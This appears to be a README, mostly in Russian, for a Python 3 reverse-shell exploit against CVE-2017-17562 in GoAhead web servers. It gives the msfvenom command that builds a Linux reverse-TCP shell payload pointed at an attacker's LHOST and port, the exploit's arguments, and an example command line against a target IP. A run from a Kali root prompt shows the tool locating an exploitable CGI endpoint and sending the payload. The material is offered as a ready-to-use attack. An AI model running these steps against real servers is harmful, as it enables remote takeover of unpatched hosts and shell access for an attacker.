
Standalone Python 3 exploit for CVE-2017-17562
Автономный эксплойт обратной оболочки на Python 3 для CVE-2017-17562, работает на версиях веб-сервера GoAhead 2.5 < 3.6.5.
Блог статья здесь.
Написан и протестирован на Python 3.7 на основе POC и уязвимой среды здесь. Часть кода заимствована из модуля Metasploit.
Оригинальный POC найден здесь. Я написал это, потому что не смог заставить оригинальный POC эксплойт работать, и только потом понял, что в нём отсутствует функция поиска CGI-модуля для эксплуатации, т.е. он требует от пользователя указать его местоположение или предоставить словарь для рекурсивного поиска.
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
PAYLOAD
Generate the payload first, eg:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so
Required arguments:
-rhost RHOST Target host running Go Ahead webserver eg. 192.168.92.153
-payload PAYLOAD Path to the malicious elf-so payload. eg dir/payload.so
Optional arguments:
-rport RPORT Target port running GoAhead webserver. Default: 8080
-cgipath CGIPATH The path to a CGI script on the GoAhead server Default: '/cgi-bin' as in http://192.168.92.153/cgi-bin
Call the exploit like this:
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -rhost 192.168.92.153 -rport 8080 -payload payload3.so
Searching 390 paths for an exploitable CGI endpoint...
Exploitable CGI located at /cgi-bin/index
Sending payload...